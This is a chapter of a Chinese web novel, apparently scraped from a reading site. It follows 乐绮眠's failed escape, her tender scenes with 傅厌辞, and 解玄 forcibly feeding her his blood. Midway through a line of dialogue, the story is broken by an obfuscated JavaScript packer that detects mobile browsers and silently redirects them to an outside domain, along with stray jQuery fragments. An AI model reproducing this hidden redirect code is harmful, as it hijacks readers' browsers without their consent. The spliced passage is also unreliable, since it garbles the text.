默认冷灰
24号文字
方正启体

99. 臣服

作者:黑吠本书字数:K更新时间:
    逃跑计划夭折在门前。


    崔烈笑眯眯道:“乐小姐要去何处?”


    乐绮眠背着行囊,朝雾站在她身侧,身后是那群侍女。几人从她背后探头,又缩回,瑟缩不止,不敢与崔烈对视。


    “屋内有些闷热,我出门透透气,”乐绮眠放下行囊,面不改色扯谎,“崔指挥使不忙?”


    崔烈说:“乐小姐好好待在房中,属下便不忙。乐小姐若想外出走走,属下便忙。这只背囊瞧着有些重,属下替您拿吧。”


    乐绮眠抱紧背囊,压低声:“傅厌辞给你多少月禄,我给双倍。崔指挥使,看在你我相识三年,我又帮了你们殿下多回的份上,行个方便?”


    崔烈还是笑:“不行。”


    乐绮眠道:“......你若怕无法向傅厌辞交差,你我互刺一剑,你受伤不敌,让我逃脱,这样可行?”


    崔烈说:“乐小姐误会了,并非属下想囚困您。就算您说动属下,殿外还有数百御卫,若每人刺你一剑,您也逃不出妙应寺。”


    乐绮眠:“......”


    乐绮眠收起行囊,坐回屋中:“我不离开妙应寺,你将解玄叫到殿内,我见他一面,这总行?”


    傅厌辞只让崔烈看好乐绮眠,没说不能见人,殿外都是御卫,解玄也掀不起风浪。崔烈点头:“您在屋中稍等,我将人叫来。”


    然则,崔烈刚转身,乐绮眠反握剑柄点在他后颈,在他抬手回护时,扬声说:“走!”


    朝雾与侍女们连忙跟上,一行人靠近殿门,崔烈从后方追来:“乐小姐,您最好不要离开大殿。”


    乐绮眠转身,越过门槛就是殿外,她偏将脚伸向门槛:“离开会如何?”


    崔烈道:“......您会跌倒。”


    乐绮眠一顿,脚步绊了下。原来观音殿年久失修,门槛早已腐烂,她右脚一落下,朽木登时崩裂。但当她去扶殿门,一只手抓住她小臂,稳稳拉住了她。


    糟糕。


    乐绮眠想也不想,就往殿外跑,但后领被拉住,傅厌辞目光淡淡,道:“站好。”


    完了。


    乐绮眠心中咯噔一声,退后半步,强行牵起笑容:“你来啦,怎么方才不在?我在附近走走,你也要来?”


    或许她自己都没发现,她心虚时会眨眼,语速也比平日快。傅厌辞安静看着她撒谎,忽然牵起她一手,向外走去。


    “你去何处?”乐绮眠腿没他长,紧追两步,分外迷惑。


    傅厌辞道:“你说的,走走。”


    乐绮眠:“......”


    倒也不用这么听话。


    侍女们看乐绮眠被带走,惶惶不安,崔烈安抚了几人,将她们送回殿中。这下乐绮眠自食苦果,在御卫注目中,被牵着逛了前院,从未觉得妙应寺这般大,走了一炷香,竟还未到头。


    到了无人处,乐绮眠说:“可以不用牵了。”


    傅厌辞问:“为何?”


    乐绮眠道:“你不就想让人看我的笑话?现在没人,自然不必牵了。”


    傅厌辞沉默,说:“解玄没教过你牵手何意?”


    乐绮眠道:“早就说过他只教我箭术......不对,你想说什么?”


    傅厌辞说:“你应当是他收过最笨的徒弟。”


    乐绮眠:“......”


    解玄亲口说过她有天赋,江别鹤也夸过她不俗,他哪里来的自信说她笨?


    乐绮眠忽然抱头蹲下:“哎呀,我好笨,不记得昨夜说过什么了。对,想起来了,我要回军中,现在就回。”


    她从胳膊缝里偷看傅厌辞,发现他没有阻拦,脚底抹油,打算遛走。但刚迈步,撞到一个下颌,傅厌辞居然蹲了下来。


    乐绮眠继续演戏:“你是谁,我不认得你,不要挡住我的去路。”


    傅厌辞说:“你认得谁?”


    乐绮眠道:“我认得这是妙应寺,我是公主,总归不认得你,让一让。”


    傅厌辞说:“昨夜你新婚,与谁在房中?”


    乐绮眠道:“什么新婚,听不懂。你再说,我喊人了。”


    她作势要起身,小臂被攥住,险些跌倒。傅厌辞按住她的肩,一个吻落在唇边,轻而缓,像滑过皮肤的雨丝。


    傅厌辞说:“也忘了?”


    乐绮眠抬腕去挡,牵动了他的手。若只是手倒没什么,偏偏他没带手套,刺青从袖口蜿蜒而出,留了蛇尾状的末端在指根,蓦地唤起她某段记忆。


    只是当时,刺青刚从裙下抽出,是湿润、滑腻的。


    乐绮眠腾地一下站起,退开半步:“都忘了,别问了,我要回家。”


    她埋头往前走,可手腕还在傅厌辞掌中。傅厌辞随着她站起,以为她恼了,因为她从脸颊到后颈红了一片,与偏白的肤色相比分外明显。


    乐绮眠说:“你别牵我。”


    傅厌辞道:“昨夜很难受?”


    不许提昨夜!


    傅厌辞握紧她的手,像怕乐绮眠将他甩开,难得有些谨慎。在取悦对方这件事上,他不比乐绮眠擅长,只是她仰颈承受的神情挠在胸口,让他本能地萌生掠夺欲,咬也好、吻也罢,都只能扬汤止沸。


    “你日后,”乐绮眠咬了下舌,才将句子说完,“日后要听我的。”


    不许强来。


    傅厌辞听懂了,可他说:“我不能保证。”


    你......你还说这种话!


    乐绮眠快气死了,傅厌辞却将她的手拉到唇边,像对她歉意的抚慰,垂下头,将生茧的指腹一一吻过,对她道:“你要命令我。”


    他有理智全无的时刻,但只要她命令,他就会遵循。他把控制权给了她,身体不再是他的,这是他道歉的方式,尽管听上去依旧强势。


    这个人。


    明明才是过分的一方,琥珀眼却低垂着,像为她封藏了野心,又像讨要更多。


    独股杵留下的伤口早就不会痛了,此时却传来麻痹感。想让他亲吻痛感的来源,想将手探进他的唇。乐绮眠的脑子被这些念头填满,竟真在这句话中,生出操控他的欲望。


    这太奇怪了。


    她身后就是破败的大殿,疼痛的记忆却随着这句话远去。她的确很迟钝,否则不该现在才发现,闻师偃挑明她的身份后,傅厌辞不问她的过去,不是因为不好奇。


    而是借这个吻,告诉被命运掌控的公主,至少,还可以相信他。


    春雨如酥,两人都没有说话了。此刻是否去泽州的问题不再重要,乐绮眠听到雨打芭蕉的声响,才察觉她在雨中站了许久。


    乐绮眠说:“回殿内吧。”


    傅厌辞用外袍挡了雨,将她护到檐下。乐绮眠勾着他两指,晃了晃,示意自己去找伞,却有人从雨中快步走来,打断了她的动作。


    御卫下摆潮湿,带着两把伞来:“殿下,乐小姐!”


    乐绮眠看他着急,本来已经抬脚,又回原地:“怎么了?”


    御卫道:“解玄要您到车内一见,被拦下,就自尽了!”


    乐绮眠一愣,没想到解玄会这么做,正要问人还在不在,傅厌辞冷静地说:“他在逼你见他。”


    “他还不能死,”乐绮眠心知肚明,但她还有用到解玄的地方,“我去看看。”


    她走了几步,接过御卫递来的伞。傅厌辞看着那只手从掌中滑走,眼神转冷,正要拉住她,乐绮眠回头,浅笑道:“你怎么还愣着?快来。”


    傅厌辞说:“......来了。”


    他伸出的手微顿,抬步跟上,从她手中拿过伞。


    御卫道:“属下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018903|167077||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    让军医给他止了血,他人就在车内,您和乐小姐进去便能看到。”


    这辆马车空间不大,两人同时入内有些困难。傅厌辞在门外等她,乐绮眠刚进车内,就闻到浓烈的血腥味。


    解玄趺坐在车厢深处,腕上缠着纱布。御卫都是男子,没人会细心到给他擦脸,因此他半张脸仍是血污,看上去诡异可怖。


    “公主还愿见我,”解玄听到声响,睁开了眼,“看来你与肃王没有谈妥。”


    乐绮眠微哂:“若谈妥了,师父未必有命在,为你性命着想,我也不会这么快。”


    解玄唇角扬起一点弧度,但眼睛一丝笑意也无:“公主将袖弩交给我时,就在打我眼睛的主意了,对吗?”


    那日试完婚服,乐绮眠就解下了袖弩,毕竟戴着兵器成婚,有些不祥。解玄将之取走,她也没说什么,似是纵容。解玄就在傅厌辞面前拿出袖弩,让她动手射杀。


    可其实纵容是假的,乐绮眠从未信任过他。


    乐绮眠说:“这双眼睛本该献祭在那场经会上,我替被你蒙骗的人将它收回,有何不可。”


    解玄只废了右眼,她本可以毁掉两只,但这不利于他做台前傀儡助她掌控日月教,因此她善解人意地留了一只,让他尚能自理。


    “公主到底是为受蒙骗的人伸张正义,还是替肃王报仇,只有你自己知道,”解玄垂下眼,似是不想让人看见他的脸,“若非宁安帝首鼠两端,阿附北苍,海琅王不会起兵南下,你母亲不会落得今日下场。公主依附肃王,又在犯你母亲犯过的错。”


    乐绮眠和他隔着张茶案,笑道:“可难道依附你,就不是犯错?”


    她撑着案面,向前倾身,那与解玄相似的眼睛在这一刻没有讥嘲,分外认真:“我一直很好奇,为何你对我与我母后的去向如此在意,如今我知道了。因为当年你潦倒失意,不敌我父皇,如今又败给昔日被你踩在脚下的肃王。你在乎的从不是我与我母后,而是他们拥有的,凭何你得不到。”


    就像他给傅厌辞打下罪印,只因在他与迦楼罗身上,看到他与暮晦的影子。


    他是个极度傲慢之人,不允许自己得不到想要的。他后悔的从不是给她喂下望舒,让她流放三年,而是做下这一切后,他给出补偿,为何仍无法折断她的脊骨,让她屈膝臣服。


    解玄在漆黑中抬起了头,忽而缓缓笑开:“我不该得到么?”


    乐绮眠身前罩下黑影,是解玄从座中站起,撑着身,欺近她:“我本可以救下你母亲,是她选择为江家殉葬。你在流放地时,是我让你免遭欺凌。我做这些时,宁安帝、肃王在何处?公主,你可以恨我,但否认我做过的一切,是你待解某不公。”


    他解下纱布,露出鲜红的手腕,血流到指尖,也没有多看。


    解玄极为温柔、近乎缠绵地说:“我知道公主的望舒入体已深,不出意外,你会在年内死去。你必须饮尽药人的血,直至所有金鳞消失殆尽,才有机会换得一命。肃王背负弑母杀师之仇,无法为你做出这等牺牲,可我不同。


    “公主恨我令你流放三年,那挖开我的伤口,让我痛不欲生可好?恨我给你喂下望舒,那饮下我的血,为你解毒可好?


    “你我本该是血脉相连、同生共死之人。杀了我,带着我的意志活下去,可好?”


    他已将乐绮眠逼到角落,方寸之间寸步不让。乐绮眠握住玉钩,随时能拔剑而起:“是否血脉相连另说,你我恐怕无法同生共死。你的血,也免——”


    “砰!”


    解玄掀开茶案,骤然暴起,将她拉往身前。乐绮眠以为他意在伤人,不想他举止反常,反应慢了一步,被卡住后颈。


    “毕竟你我才是立了婚契的夫妻,”解玄将血逼进她口中,勾起的笑眼和煦如常,“给你解毒,再合情不过。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)